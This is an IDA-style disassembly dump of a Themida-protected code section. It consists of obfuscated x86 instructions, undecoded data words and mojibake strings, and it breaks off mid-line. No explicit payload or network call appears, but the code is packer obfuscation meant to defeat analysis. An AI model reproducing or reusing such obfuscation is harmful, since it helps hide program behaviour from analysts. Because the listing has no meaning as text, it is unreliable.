4992EA81h, 0F2817C64h, 0B37A9E2Ch, 815AD629h, 4ECh dd 24148900h, 0BAh, 0D4685200h, 89000012h, 25BE2434h, 5528EB43h dd 0BDh, 87F52900h, 320DE9EEh db 2 dup(0) ; --------------------------------------------------------------------------- loc_5575EA: ; CODE XREF: Themida_:00560CCEj add edi, 5D8D3F42h sub edi, ebp sub edi, 5D8D3F42h mov ebp, [esp] add esp, 4 and eax, edi pop edi jmp loc_558C32 ; --------------------------------------------------------------------------- aRs_0 db '╥░И"ы',0 dd 6E346800h, 1C890000h, 1C8B5424h, 0DD61E924h, 505B0000h dd 0AEE9E089h db 0BBh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557627: ; CODE XREF: Themida_:0055F3C2j sub esi, eax push edi mov edi, 724B37A9h shr edi, 7 add edi, 5267622h shr edi, 4 jmp loc_559DD4 ; --------------------------------------------------------------------------- loc_557640: ; CODE XREF: Themida_:005517D9j mov [esp], esi push eax push esi jmp loc_55E528 ; --------------------------------------------------------------------------- word_55764A dw 8B66h ; DATA XREF: Themida_:00550ED0o dd 0EC812404h, 4, 54242C89h, 4EC835Dh, 68240C89h, 4, 79C58159h dd 0E97B8C5Ah, 0FFFFC5D3h, 0B4047E2Ch, 0B42CD800h, 0A433E9h db 0 ; --------------------------------------------------------------------------- loc_55767D: ; CODE XREF: Themida_:0056173Dj add ecx, 690C5D1Dh neg ecx xor ecx, 6EA36BC7h push eax mov eax, 56656E6Fh not eax not eax jmp loc_5574C3 ; --------------------------------------------------------------------------- dw 0C731h dd 3CB85058h, 4051897Ah, 5D64BD55h, 0D5F75659h, 0E906E5C1h dd 0FFFFDD74h, 7A4C3558h, 148B0B70h, 1180E924h, 34FF0000h dd 924DE924h, 0F5800000h, 6F46E985h, 79BE0000h, 12B1468h dd 0E72D5EF0h, 6808343Eh, 558h, 89241C89h, 0BEE957E3h db 0C7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_5576EF: ; CODE XREF: Themida_:005623FEj mov ebx, [esp] add esp, 4 jmp loc_55C6D2 ; --------------------------------------------------------------------------- db 0C0h, 0E0h, 5 dd 0B753BA2Ch, 0A4EF8021h, 0F780CFFEh, 80DFF6BBh, 0F828FEEFh dd 8BC3885Bh, 21E92404h, 830000CEh, 0FF5304C4h, 5B042474h dd 8B24048Fh, 8B662424h, 0EC832404h, 24348904h, 24348B54h dd 0CCB4E9h db 0 ; --------------------------------------------------------------------------- loc_557741: ; CODE XREF: Themida_:0055AF5Cj mov edi, 7E0057C0h add edi, 69085DACh or edi, 75DD2E1Bh add edi, 4C876529h mov eax, edi pop edi jmp loc_564E2C ; --------------------------------------------------------------------------- dd 33240C31h, 895C240Ch, 0F0E92414h, 1FFFF97h, 29EF81CFh dd 59202955h, 2474FF57h, 243C8B04h, 8F04C483h, 248B2404h dd 0F69AE924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55778E: ; CODE XREF: Themida_:0056286Dj push eax push ebp mov ebp, 33DD3F60h mov eax, 0CDCE1C6Ch add eax, ebp jmp loc_55B1EF ; --------------------------------------------------------------------------- align 2 aSD_1 db 'ьИ[╓',0 align 4 dd 4C481h, 0BE560000h, 2, 525EF229h, 0C00CE9h, 0E8016600h dd 56932D66h, 0D801665Dh, 46692D66h, 3CAE0566h, 1376E9h dd 287F8800h, 4011E9h db 0 ; --------------------------------------------------------------------------- loc_5577DD: ; CODE XREF: Themida_:0055C834j shl ebp, 5 xor ebp, 1E6D3AC9h xchg ebx, ebp not ebx xchg ebx, ebp not ebp add ebp, 82384801h sub eax, ebp jmp loc_55A74E ; --------------------------------------------------------------------------- db 89h dd 0C8B241Ch, 2CEAE924h, 88590000h, 43E95AF3h, 58000028h dd 61A0E9h db 0 ; --------------------------------------------------------------------------- loc_557815: ; CODE XREF: Themida_:0055FEA1j add esp, 4 sub dword ptr [esp+4], 1B2A7EB6h add [esp+4], esi add dword ptr [esp+4], 1B2A7EB6h add dword ptr [esp+4], 67D51008h pop esi push dword ptr [esp] pop ebx push ebx jmp loc_555E91 ; --------------------------------------------------------------------------- loc_557842: ; CODE XREF: Themida_:0055A704j add esp, 4 push ebp push dword ptr [esp+4] jmp loc_565692 ; --------------------------------------------------------------------------- dw 0C8FEh dd 0FFCC0BE9h db 0FFh byte_557859 db 66h, 8Bh, 0Ch ; DATA XREF: Themida_:00550D8Co aSe0 db '$И╔0',0 align 2 a1434I4Rqs db '14$34$\┴4$RQИн╟',0 dw 5900h dd 0E95DE801h, 0FFFFB1B2h, 9BCDEB81h, 0DE0103E5h, 24148B5Bh dd 6F6EE9h db 0 ; --------------------------------------------------------------------------- loc_55788D: ; CODE XREF: Themida_:00553B8Aj pop eax jmp loc_55D6FD ; --------------------------------------------------------------------------- loc_557893: ; CODE XREF: Themida_:0055832Dj add eax, 4 sub eax, 4 xchg eax, [esp] pop esp mov [esp], ecx mov ecx, esp sub esp, 4 mov [esp], esi mov esi, 4 jmp loc_560002 ; --------------------------------------------------------------------------- dd 5604C483h, 9AD990BEh, 5EF031E7h, 158C201h, 0BAEA81FAh dd 5F102325h, 28A2E9h, 0E8C15800h, 12B2503h, 9E2D2BEBh dd 31D0D197h, 0F75658C6h, 815E2414h, 1C66BFCEh, 50D6F723h dd 819610B8h, 58C60157h, 348BF789h, 9F4AE924h, 0F1F6FFFFh dd 0CCB60F66h, 3F2C6866h, 2F9E9h, 0BFE95000h, 8BFFFFBFh dd 0C4832404h, 240C8B04h, 0C70E955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557926: ; CODE XREF: Themida_:00563738j push dword ptr [esp] pop edx add esp, 4 push edx mov edx, 24h add edx, edi xor [edx], ecx pop edx jmp loc_55FCE6 ; --------------------------------------------------------------------------- loc_55793D: ; CODE XREF: Themida_:00565174j xchg ecx, [esp] pop esp mov [esp], edi push ecx push 2CE81691h pop ecx sub ecx, 1 push ebx jmp loc_55ADCC ; --------------------------------------------------------------------------- db 89h dd 0E789243Ch, 4C781h, 0E9530000h, 0FFFFC57Bh ; --------------------------------------------------------------------------- loc_557968: ; CODE XREF: Themida_:0055B657j add edx, 613114B8h jmp loc_55E09F ; --------------------------------------------------------------------------- aNhN db '╜h',8,'N',0 ; DATA XREF: Themida_:00550E0Co dd 24348900h, 4215A1BEh, 92C68139h, 81039A0Bh, 0A83622E6h dd 0F3F6810Dh, 96227F61h, 5746E9h db 0 ; --------------------------------------------------------------------------- loc_557999: ; CODE XREF: Themida_:00551D92j add esp, 4 jmp loc_5625B9 ; --------------------------------------------------------------------------- aMsfb db 'MИfB',0 dw 0E900h dd 0FFFF95B3h aMhxe db '╛hXe',0 ; DATA XREF: Themida_:00550E38o align 2 dw 0C89h aSB db '$И╬║',0 align 2 dw 0FF53h dd 5B042474h, 5C24048Fh, 5D62BA52h, 2BE9628Ah, 43FFFFB7h dd 0C381DBF7h, 0D80DA5h, 0B8C3814Bh, 1748D13h, 535D5BDFh dd 4BBh, 28E95000h, 3100003Eh, 3C33243Ch, 24248B24h, 0EC815266h dd 4, 4087E9h db 0 ; --------------------------------------------------------------------------- loc_557A05: ; CODE XREF: Themida_:00556DBAj mov [esp], ecx mov ecx, 60240508h add dword ptr [esp+4], 614565C0h add dword ptr [esp+4], 65A58ECh sub [esp+4], ecx jmp loc_556C2A ; --------------------------------------------------------------------------- dw 0B1B6h dd 0FEB3E680h, 48F680C6h, 6601C680h, 0BAB25253h, 88BBEA80h dd 24148BD7h, 4C481h, 0FE000000h, 27E95B66h, 560000CAh dd 0AB2A76BEh, 0E94E4613h, 864Dh ; --------------------------------------------------------------------------- loc_557A5C: ; CODE XREF: Themida_:0056577Ej add ebx, 1830639h add ebx, 0D276F03h add ebx, 0ED19C7CCh xor esi, ebx pop ebx push ebx jmp loc_55F81A ; --------------------------------------------------------------------------- loc_557A77: ; CODE XREF: Themida_:00559DDAj add esi, edi pop edi mov eax, [esp] add esp, 4 add eax, esi pop esi sub edi, 3B962FF3h add edi, eax add edi, 3B962FF3h jmp loc_55264E ; --------------------------------------------------------------------------- dw 74FFh dd 48B0424h, 4EC8124h, 0E9000000h, 48E9h dword_557AA8 dd 0FF94B2E9h, 232DB8FFh, 0C7310088h, 1BE95058h, 5B000045h ; DATA XREF: Themida_:00550E14o dd 335AD001h, 4312404h, 24043324h, 1AD0685Ch, 1C890000h dd 51E38924h, 4B9h, 0D083E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557ADE: ; CODE XREF: Themida_:00558E4Fj push edi mov edi, 259B7435h xor [esp+4], edi jmp loc_55C245 ; --------------------------------------------------------------------------- push ebp mov ebp, esp jmp loc_55E915 ; --------------------------------------------------------------------------- loc_557AF5: ; CODE XREF: Themida_:0055A54Dj not edx shl edx, 8 jmp loc_551D06 ; --------------------------------------------------------------------------- loc_557AFF: ; CODE XREF: Themida_:00555A26j add edx, eax pop eax sub edx, ecx sub edx, 1CA32C6Fh jmp loc_551628 ; --------------------------------------------------------------------------- db 81h dd 4C4h, 5E2C100h, 94A4E950h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557B1E: ; CODE XREF: Themida_:0056014Ej add edi, ecx pop ecx push 5359h mov [esp], edx push 5447h jmp loc_55853D ; --------------------------------------------------------------------------- db 50h dd 0FA240481h, 5A0E595Ah, 5AFAEA81h, 34E90E59h db 7Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_557B47: ; CODE XREF: Themida_:00551A14j jnz loc_5602D6 push esi jmp loc_555383 ; --------------------------------------------------------------------------- byte_557B53 db 66h ; DATA XREF: Themida_:00550E24o dd 55240C8Bh, 0FFC0C2E9h db 0FFh ; --------------------------------------------------------------------------- loc_557B5D: ; CODE XREF: Themida_:00556112j pop eax jmp loc_55AAC6 ; --------------------------------------------------------------------------- aVsV db 'VИЁ╒',0 dd 0E8285900h, 0B5515352h, 0E9BBB7D7h, 0D6C9h, 0F00EC781h dd 0FB294634h, 81D3295Fh, 1B1D18C3h, 49C38178h, 57567B00h dd 4D2ABFBFh, 5FFB290Ch, 0E924148Bh, 0FFFFAA70h, 2404815Fh dd 123D0CA4h, 765AE9h, 46C28100h, 81678354h, 0CA4F4BC2h dd 93A1E92Ch, 0C680FFFFh, 0FFC680D6h, 537DF680h, 0D888F388h dd 0E9525A5Bh, 0FFFFE499h, 0FF9386E9h, 31B7FFh, 805B66F9h dd 0CB283CEBh, 0FF3CC380h, 0E9592434h, 0FFFF9CE7h, 0E95D5Eh dd 8100004Eh, 0FB2019C3h, 81DBF720h, 1424E0EBh, 135CE901h dd 89660000h, 0F66240Ch, 27E9C8B6h, 0B70000CCh, 6203E919h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557C1E: ; CODE XREF: Themida_:005526BFj add esp, 4 add [esp+4], edi sub dword ptr [esp+4], 44BF3945h jmp loc_554921 ; --------------------------------------------------------------------------- db 50h, 56h, 0BEh dd 7D204A46h, 15EF089h, 0E9082444h, 4081h ; --------------------------------------------------------------------------- loc_557C48: ; CODE XREF: Themida_:005569A0j mov cl, dl push dword ptr [esp] pop edx add esp, 4 pop ebx pop edx push dword ptr [esp] mov ebx, [esp] push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp] mov esp, [esp] add esp, 4 xor al, cl pop ecx xor bl, al movzx eax, al push small 1C06h jmp loc_55F275 ; --------------------------------------------------------------------------- db 5Eh dd 31241433h, 14332414h, 39FEE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_557C92: ; CODE XREF: Themida_:0056171Bj add ecx, edi add ecx, 1393729h add ecx, 1B3A4CDCh pop edi push ebx push ecx push esi jmp loc_56292A ; --------------------------------------------------------------------------- db 0BFh, 0FFh, 52h dd 1E95BACh, 83000013h, 2C8904ECh, 4BD24h, 0EF010000h dd 9E71E95Dh, 24890000h, 4BF5724h, 0E9000000h, 0FFFFFF61h ; --------------------------------------------------------------------------- loc_557CD4: ; CODE XREF: Themida_:00554301j xchg eax, [esp] pop esp push edx mov edx, 2A296162h push ebx mov ebx, esp add ebx, 4 sub ebx, 4 push ebx push dword ptr [esp+4] jmp loc_560DF9 ; --------------------------------------------------------------------------- loc_557CF4: ; CODE XREF: Themida_:005543C0j push edx jmp loc_565BA2 ; --------------------------------------------------------------------------- loc_557CFA: ; CODE XREF: Themida_:005639BEj and eax, esi mov esi, [esp] add esp, 4 shr eax, 10h xor eax, ecx jmp loc_5524B4 ; --------------------------------------------------------------------------- aCsii db 'CИI┬',0 dd 59E88800h, 20AFE9h, 0D9F76600h, 0E4E98166h, 0CB29667Bh dd 4EC8359h, 66241489h, 661A15BAh, 8166D2F7h, 66680CC2h dd 665AD329h, 0CDE9DA29h, 81000034h, 50699EDh, 56E9574Ch dd 66FFFFFFh, 661A2D68h, 66240489h, 660000B8h, 9766F829h dd 57665866h, 5F665666h, 0E5E95E66h, 0F7FFFFBAh, 65F581D5h dd 1EF2E05h, 348B5DEAh, 0E6895624h, 3DF0E9h db 0 ; --------------------------------------------------------------------------- loc_557D89: ; CODE XREF: Themida_:0055D588j pop ecx pop dword ptr [esp] mov esp, [esp] push dword ptr [edi+eax*4] push ecx mov ecx, 67F34E19h xor [esp+4], ecx pop ecx push dword ptr [esp] mov eax, [esp] add esp, 4 push ebp push esp mov ebp, [esp] add esp, 4 add ebp, 4 add ebp, 4 xchg ebp, [esp] jmp loc_555E13 ; --------------------------------------------------------------------------- dw 0E957h dd 0BBF7h, 0E9241C89h, 7B13h ; --------------------------------------------------------------------------- loc_557DD4: ; CODE XREF: Themida_:005633ADj add esp, 4 add ebp, ebx mov ebx, [esp] add esp, 4 jmp loc_564CBD ; --------------------------------------------------------------------------- loc_557DE7: ; CODE XREF: Themida_:0055BE50j pop edi add eax, edx sub eax, 13164BDCh xor [eax], ebx pop eax mov ebx, [esp] add esp, 4 jmp loc_55A15A ; --------------------------------------------------------------------------- aN1SA db '╜1ьИ,─',0 ; DATA XREF: Themida_:00550D74o dd 243C8900h, 4EC81h, 14890000h, 0EEBB5324h, 8906596Ah dd 241C8BDAh, 4C481h, 0EEBF0000h, 0E9065968h, 0FFFFE40Fh dd 0E95FFB01h, 6882h, 0D93B850h, 91254E61h, 5352EF2Bh dd 696F4BBBh, 0E9D83168h, 0FFFF9F55h, 202ABB53h, 0C14B17EFh dd 0EB8104E3h, 970A048h, 0E95BDF89h, 375Ah dword_557E64 dd 50D830ACh, 405E089h, 51000000h, 0A75771B9h, 75F1810Ch ; DATA XREF: Themida_:00550E48o dd 0E90CA757h, 0FFFFE5D2h dword_557E80 dd 2AE932FFh ; DATA XREF: Themida_:00550D24o db 0F2h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_557E87: ; CODE XREF: Themida_:0056523Cj mov [esp], edx mov edx, 76287847h xor esi, edx push dword ptr [esp] pop edx jmp loc_55A7D5 ; --------------------------------------------------------------------------- dw 0EB81h dd 2A076797h, 0C381EB01h, 2A076797h, 4BE565Dh, 0E9000000h dd 8804h, 90A5E95Ch, 0EC81FFFFh, 4, 0BD242C89h, 1773071Ch dd 647DE9h db 0 ; --------------------------------------------------------------------------- loc_557ECD: ; CODE XREF: Themida_:0055195Cj pop ebx push esi mov esi, 4 jmp loc_55D8AC ; --------------------------------------------------------------------------- db 81h, 0C4h, 4 dd 0FF000000h, 835D2434h, 0BF5704C4h, 4, 184AC581h, 0FD014F7Bh dd 184AED81h, 9AE94F7Bh db 0DDh, 2 dup(0) ; --------------------------------------------------------------------------- loc_557EFF: ; CODE XREF: Themida_:0055E63Aj not ebx dec ebx sub ebx, 2ABEC044h or esi, ebx jmp loc_565236 ; --------------------------------------------------------------------------- byte_557F0F db 68h ; DATA XREF: Themida_:00550CDCo dd 2B28h, 3F73E9h db 0 ; --------------------------------------------------------------------------- loc_557F19: ; CODE XREF: Themida_:0055ED52j shr ebp, 3 shr ebp, 2 sub esp, 4 mov [esp], edi jmp loc_551DE4 ; --------------------------------------------------------------------------- db 66h, 8Bh, 1Ch aSg db '$ИG',9,0 align 2 aAiS db '─К=И╡',27h,0 align 2 dw 0C8Bh dd 0E7895724h, 4C781h, 30E90000h, 80000047h, 0FAE97AEDh dd 0B900004Eh, 44935D5Eh, 4CE9D9F7h, 0F7FFFFD1h, 4ADAF7DAh dd 0F223C281h, 0D601FD9Fh, 0FFD966E9h, 2434FFFFh, 0A3FBE959h dd 0CD810000h, 7D410BF3h, 8105EDC1h, 53725C5h, 5DEA01FCh dd 6026BE56h, 0E6816D26h, 11A45A66h, 0B4FEE9h, 66525C00h dd 0E96191BAh, 0FFFFD0F6h ; --------------------------------------------------------------------------- loc_557FAC: ; CODE XREF: Themida_:0055915Aj push 63A5h mov [esp], eax jmp loc_55A539 ; --------------------------------------------------------------------------- loc_557FB9: ; CODE XREF: Themida_:0055544Fj add edi, eax push dword ptr [esp] pop eax push ebp mov ebp, esp push ecx mov ecx, 4 add ebp, ecx pop ecx add ebp, 4 jmp loc_5545CD ; --------------------------------------------------------------------------- db 8Bh dd 0C4812434h, 4, 0DAA4E952h, 335CFFFFh, 14312414h, 24143324h dd 6624248Bh, 5724048Bh, 3451E9h db 0 ; --------------------------------------------------------------------------- loc_557FF9: ; CODE XREF: Themida_:0055F3A1j pop ecx push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_563EF1 ; --------------------------------------------------------------------------- loc_558012: ; CODE XREF: Themida_:005510EAj pop ecx or edx, 1AC70A61h sub edx, 0E76E0366h sub ebx, 4FD75014h push esi mov esi, 144C0ECBh add ebx, esi pop esi sub ebx, edx sub ebx, 144C0ECBh add ebx, 4FD75014h mov edx, [esp] add esp, 4 sub ebx, eax jmp loc_557181 ; --------------------------------------------------------------------------- dd 6824048Bh, 76D9h, 89243C89h, 67E952E7h, 0E9FFFFFDh dd 0FFFF8EFBh, 29C7815Eh, 0E9202955h, 0FFFFF6FFh, 0DBF7D3F7h dd 71C3814Bh, 298DA7E1h, 241C8BD8h, 4C481h, 4870000h, 67B7E924h dd 0BE560000h, 50832272h, 71C6E9h, 4EC8300h, 0BB241C89h dd 4, 15BDE89h, 0B37BE9F5h, 0AEBFFFFFh, 0C16DE723h, 0E7C103E7h dd 0CE58E903h, 0F931FFFFh, 46B8505Fh, 405D2F05h, 4C54A02Dh dd 58C28915h, 8959CA01h, 0ED815AD6h, 715D0F41h, 8B58E9h dd 4BA00h, 0D8E90000h, 3100001Ah, 31EF31FDh, 0CEED81FDh dd 51771E78h, 0B94CFAB9h, 59CD090Dh, 0FFBF75E9h, 0EF2959FFh dd 47AFE9h, 7EC78100h, 163DA67h, 7EEF81CFh, 8163DA67h dd 0A43D35C7h, 0EF81597Dh, 4, 0E9243C87h, 5753h, 4C281h dd 0C2830000h, 24148704h, 0D9FDE95Ch, 8F540000h, 0B9512404h dd 4, 4244C01h, 0E9240C8Bh, 0FFFFFD81h, 282AAABEh, 0BB534645h dd 5FD302FAh, 0FFFA8EE9h, 0DFB951FFh, 89289175h, 0DD3159CBh dd 53BA525Bh, 113B130h, 0E5815AD5h, 24A10454h, 50ED81h dd 94E90021h, 8900001Dh, 8B542434h, 0C4812434h, 4, 4C681h dd 0EE810000h, 4, 0AB20E9h db 0 ; --------------------------------------------------------------------------- loc_5581AD: ; CODE XREF: Themida_:005608ABj xchg edx, [esp] pop esp push 2B7Bh mov [esp], ebx mov ebx, 4 add edx, ebx pop ebx xchg edx, [esp] mov esp, [esp] or edx, eax shl edx, 1 sub esp, 4 mov [esp], ebx jmp loc_563724 ; --------------------------------------------------------------------------- align 2 dw 5AF3h dd 1C8BD800h, 4C48124h, 0 dd 59472CE8h, 0FFD695E9h, 24248BFFh, 64E930FFh, 52FFFF8Dh dd 4BAh, 1011E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558206: ; CODE XREF: Themida_:0056437Cj push dword ptr [esp] pop esi add esp, 4 add esp, 4 and eax, esi pop esi shr eax, 0Ah xor eax, ecx push 0B09h mov [esp], eax xchg ebp, [esp] not ebp xor [esp], ebp xor ebp, [esp] xor [esp], ebp push dword ptr [esp] pop eax push ecx push esp pop ecx sub esp, 4 mov [esp], ebx mov ebx, 6A967EB3h add ebx, 57C45AEh jmp loc_55FF3E ; --------------------------------------------------------------------------- dw 0EDC1h dd 0F7E58108h, 8352AE7Ah, 48904ECh, 3C84E924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_558262: ; CODE XREF: Themida_:005602D0j sub bl, 0E0h mov edx, [esp] push ecx mov ecx, esp jmp loc_563245 ; --------------------------------------------------------------------------- dd 0E908E7C0h, 0FFFFD852h, 1AE95FB6h db 9Dh, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55827F: ; CODE XREF: Themida_:0056510Dj xor edi, 0EF339D5Ah add esi, edi jmp loc_563939 ; --------------------------------------------------------------------------- loc_55828C: ; CODE XREF: Themida_:00561C85j mov eax, 7AA87818h jmp loc_555447 ; --------------------------------------------------------------------------- dw 0D8F6h dd 2FE9EA04h, 8900008Dh, 26B22414h, 0A7BEE9h db 0 ; --------------------------------------------------------------------------- loc_5582A9: ; CODE XREF: Themida_:0055AB9Aj xor ebp, 1D98420Bh dec ebp add ebp, 3E6AC793h push edx push eax jmp loc_55FBCD ; --------------------------------------------------------------------------- db 89h, 0E2h, 81h dd 4C2h, 4C28300h, 5C241487h, 4B850h, 9EE90000h db 27h, 2 dup(0) ; --------------------------------------------------------------------------- loc_5582D7: ; CODE XREF: Themida_:005654CCj add edi, 537164A3h pop ebp push ecx jmp loc_55A481 ; --------------------------------------------------------------------------- dd 23BD68h, 243C8900h, 5B0EE9h, 0E8895B00h, 0D1E5E9h db 0 byte_5582F9 db 0ACh, 2Ch, 7 ; DATA XREF: Themida_:00550CE0o dd 80C9B252h, 0D000EDF2h, 0F497E95Ah db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55830A: ; CODE XREF: Themida_:0055C2C5j push edx jmp loc_55A987 ; --------------------------------------------------------------------------- dd 8B24048Fh, 0FF662424h, 0E99C2404h, 0FFFF8C3Fh ; --------------------------------------------------------------------------- loc_558320: ; CODE XREF: Themida_:005523A3j mov edx, [esp] add esp, 4 push dword ptr [esp] pop esi push eax mov eax, esp jmp loc_557893 ; --------------------------------------------------------------------------- dw 0E7C0h dd 80CFFE08h, 0FE8853F7h, 0FEDEF65Bh, 7E953CEh db 5Fh, 2 dup(0) ; --------------------------------------------------------------------------- loc_558347: ; CODE XREF: Themida_:0056350Fj not eax not eax add eax, 9D8DE3F3h push ebp mov ebp, 390848C3h and ebp, 64137F75h jmp loc_561C8A ; --------------------------------------------------------------------------- align 2 dw 83D0h dd 896602ECh, 83E92414h, 5100003Bh, 8904EC83h, 0BD552404h dd 52D44F1Dh, 55DE889h, 0FFFFFFFFh, 5B26BB53h, 0D8093D7Eh dd 2DE8D15Bh, 51D948BEh, 0E906E8C1h, 3358h, 0E902E9C1h dd 8D4Eh, 6161E95Bh, 0EB810000h, 0D9654C08h, 1C8BDE89h dd 4C48324h, 9ABB5356h, 0BE55DB2Bh, 0E4E2E91Ah, 15BDE01h dd 0F0295EF0h, 8EBA5256h, 0BE65D73Bh, 0A0955042h, 295AD629h dd 24348BF0h, 0E904C483h, 5AFDh, 1FE7E981h, 348B3D26h dd 0BC97E924h, 0FCB80000h, 0BB473752h, 473752F8h, 7AE9C331h db 0D0h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558407: ; CODE XREF: Themida_:0055181Bj pop edi push eax mov eax, 0B1560CDh neg eax xor eax, 57921EAEh neg eax xor eax, 5C877E67h jmp loc_55534F ; --------------------------------------------------------------------------- db 66h, 89h, 14h aNa db '$╡█─цн',0 db 0D3h dd 66CEEB80h, 0A8EB805Ah, 0E962B450h, 662h ; --------------------------------------------------------------------------- loc_55843C: ; CODE XREF: Themida_:00562882j pop eax push dword ptr [esp] pop eax push 3001h jmp loc_55C000 ; --------------------------------------------------------------------------- db 89h dd 0EC81240Ch, 4, 55241C89h, 2EE95D54h db 2Dh, 2 dup(0) ; --------------------------------------------------------------------------- loc_55845F: ; CODE XREF: Themida_:0055C1B0j mov eax, [esp] jmp loc_551E89 ; --------------------------------------------------------------------------- db 83h dd 0BB5304C4h, 6DC2644Ah, 14A5EB81h, 0C3816022h, 474C0D0Bh dd 8108E3C1h, 798AA2F3h, 6AC581D1h, 14C3E7Ch, 6AED81DDh dd 5B4C3E7Ch, 0B850FD01h, 3D253AA2h, 6858C529h, 670Bh dd 0BF243C89h, 0E7C5AC0h, 5F5FFD29h, 19C5E9h, 46D6F700h dd 3A6FC681h, 0F289BCA4h, 9AC9E9h, 0F7815D00h, 107A172Eh dd 7067212Dh, 5F80159h, 59706721h, 83243C8Bh, 48704C4h dd 6A9AE924h, 35400000h, 0E7B4991h, 158C231h, 24148BD0h dd 3304C483h, 4312404h, 24043324h, 0E924248Bh, 941Ch ; --------------------------------------------------------------------------- loc_558508: ; CODE XREF: Themida_:00563FEAj mov [esp], ebp mov ebp, 1D20372Ch jmp loc_55728C ; --------------------------------------------------------------------------- db 5Bh, 30h, 0EEh dd 240C8B66h, 0FFA84DE9h, 0B8B951FFh, 810B9A2Eh, 0E54DBEC6h dd 81CE2937h, 0E54DBEEEh, 240C8B37h, 0FFA48EE9h db 0FFh ; --------------------------------------------------------------------------- loc_55853D: ; CODE XREF: Themida_:00557B2Ej mov [esp], esi mov esi, 1E010CA0h jmp loc_554CA3 ; --------------------------------------------------------------------------- loc_55854A: ; CODE XREF: Themida_:005657B9j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] jmp loc_552394 ; --------------------------------------------------------------------------- db 89h, 0D5h, 0E9h dd 0FFFFE412h, 2404875Eh, 2824248Bh, 0E99C2404h, 0FFFF89EBh dd 4C481h, 0C6810000h, 4, 4BD55h, 0EE010000h, 0FFED6AE9h dd 241489FFh, 19CCE951h, 0E5890000h, 4C581h, 0C5830000h dd 242C8704h, 4C1815Ch, 50000000h, 2B8h, 9639E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_5585B6: ; CODE XREF: Themida_:0055A30Bj xor edx, 83CC4723h jmp loc_55C3BB ; --------------------------------------------------------------------------- db 1, 0EAh, 0FFh dd 555D2434h, 0FFCE21E9h db 0FFh ; --------------------------------------------------------------------------- loc_5585CD: ; CODE XREF: Themida_:0055F1A9j sub ebx, edx mov edx, [esp] add esp, 4 jmp loc_559438 ; --------------------------------------------------------------------------- loc_5585DA: ; CODE XREF: Themida_:0055BA10j sub edx, 5A883AEBh pop eax xor edx, [esp] xor [esp], edx jmp loc_551C98 ; --------------------------------------------------------------------------- dd 0FF896EE9h db 0FFh ; --------------------------------------------------------------------------- loc_5585F1: ; CODE XREF: Themida_:0055CAD8j pop dword ptr [edx+38h] jmp loc_56277D ; --------------------------------------------------------------------------- db 68h, 4Ch, 63h dd 0C890000h, 0B6E95424h, 830000B4h, 8DE904C4h, 33FFFFB4h dd 665C243Ch, 9DE9F1F7h, 830000D3h, 248904ECh, 4BB5324h dd 1000000h, 5B04245Ch, 8124048Fh, 42404h, 55580000h, 0FFB225E9h dd 1EC280FFh, 59C28059h, 43E9D788h db 17h, 2 dup(0) byte_55864B db 66h ; DATA XREF: Themida_:00550DC0o dd 0E9240C8Bh, 0FFFFBC90h, 4AABB951h, 0C801E590h, 98C78159h dd 135E306h, 8F36E9C7h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_55866A: ; CODE XREF: Themida_:00552AB8j mov [esp], esi push edx push 11BB502Dh pop edx sub edx, 39772071h shl edx, 1 not edx push ebp mov ebp, 0B0885F7Dh add edx, ebp pop ebp mov esi, edx mov edx, [esp] add esp, 4 sub edi, 335464D5h sub edi, 4DD5300Dh add edi, esi add edi, 4DD5300Dh jmp loc_55FEFC ; --------------------------------------------------------------------------- byte_5586AB db 66h ; DATA XREF: Themida_:00550ED4o dd 6824048Bh, 945h, 89241C89h, 0C0E8E9E3h, 895C0000h, 2BE2434h dd 5000000h, 3BE11882h, 5155F001h, 0E11882B9h, 0D235E93Bh dd 7EB90000h, 0E930B20Dh, 825h ; --------------------------------------------------------------------------- loc_5586E4: ; CODE XREF: Themida_:00563132j push ecx jmp loc_5596F1 ; --------------------------------------------------------------------------- word_5586EA dw 0FF64h ; DATA XREF: Themida_:00550F00o dd 0F96DE932h, 4B5BFFFFh, 0E94BD3F7h, 74EBh, 4C4815Fh dd 0E9000000h, 0FFFF8857h ; --------------------------------------------------------------------------- loc_558708: ; CODE XREF: Themida_:00551783j xor edi, [esp] xor [esp], edi xor edi, [esp] jmp loc_5606E7 ; --------------------------------------------------------------------------- loc_558716: ; CODE XREF: Themida_:0056581Ej mov ebx, 2A54AB3Ch jmp loc_56023A ; --------------------------------------------------------------------------- loc_558720: ; CODE XREF: Themida_:00563C9Aj mov ebp, 24653440h add edx, ebp mov ebp, [esp] add esp, 4 xor edx, 807A1FA2h jmp loc_561712 ; --------------------------------------------------------------------------- db 55h dd 5D2414F7h, 49B768h, 241C8900h, 0EC1E63BBh, 0A1F38137h dd 5193CCCDh, 92D5E9h, 80E95D00h, 5300006Fh, 900EC3BBh dd 82F38100h, 81161739h, 5F31CDC3h, 59E94B25h db 1Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_558777: ; CODE XREF: Themida_:005536E9j add esi, edx pop edx sub esi, 4 xchg esi, [esp] jmp loc_563CE5 ; --------------------------------------------------------------------------- dd 390868h, 24048900h, 0B5A8E951h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_558796: ; CODE XREF: Themida_:005638FEj push esi pop ebx mov edx, ebx pop ebx pop esi jmp loc_556ED0 ; --------------------------------------------------------------------------- db 87h, 3Ch, 24h dd 6824248Bh, 6EAh, 5C6EE9h, 0E9F52900h, 0FFFFB38Bh dword_5587B8 dd 24048B66h, 815A5452h, 